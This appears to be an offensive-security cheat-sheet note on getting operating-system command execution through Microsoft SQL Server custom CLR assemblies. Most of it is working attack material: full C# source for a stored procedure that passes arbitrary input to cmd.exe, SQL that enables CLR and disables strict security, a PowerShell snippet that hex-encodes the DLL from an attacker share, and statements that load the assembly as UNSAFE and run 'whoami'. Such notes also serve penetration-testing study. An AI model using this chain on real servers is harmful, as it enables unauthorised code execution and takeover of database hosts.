Custom Assemblies

If a database has the TRUSTWORTHY property set it’s possible to use the CREATE ASSEMBLY statement to import a managed DLL as an object inside the SQL server and execute methods within it

Create dll

Create new “Class Library (.NET Framework)” project

using System;
using Microsoft.SqlServer.Server; 
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; 
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand); 
        proc.StartInfo.UseShellExecute = false; 
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000)); 
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); 
        SqlContext.Pipe.SendResultsRow(record); 
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};

Compile the code into a DLL

Necessary config

Execute the SQL statements shown below

use msdb
EXEC sp_configure 'show advanced options',1 RECONFIGURE
EXEC sp_configure 'clr enabled',1 RECONFIGURE
EXEC sp_configure 'clr strict security', 0 RECONFIGURE

Dll -> Hex

Convert the assembly (cmdExec.dll) into a hexadecimal string using Powershell

$assemblyFile = "\\192.168.119.120\visualstudio\Sql\cmdExec\bin\x64\Release\cmdExec.dll" $stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile) while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null }
$stringBuilder.ToString() -join "" | Out-File c:\Tools\cmdExec.txt

Craft assembly

CREATE ASSEMBLY myAssembly FROM 0x4D5A900..... WITH PERMISSION_SET = UNSAFE;

Create procedure from assembly

CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];

Invoke the newly-created procedure and supply an argument

EXEC cmdExec 'whoami'

It is not possible to call CREATE ASSEMBLY on the same assembly multiple times without removing the previous one. Instead, the DROP ASSEMBLY statement must be used to drop it. In addition, an assembly cannot be dropped if a procedure that requires it has been created. In that case, the DROP PROCEDURE statement must be used first.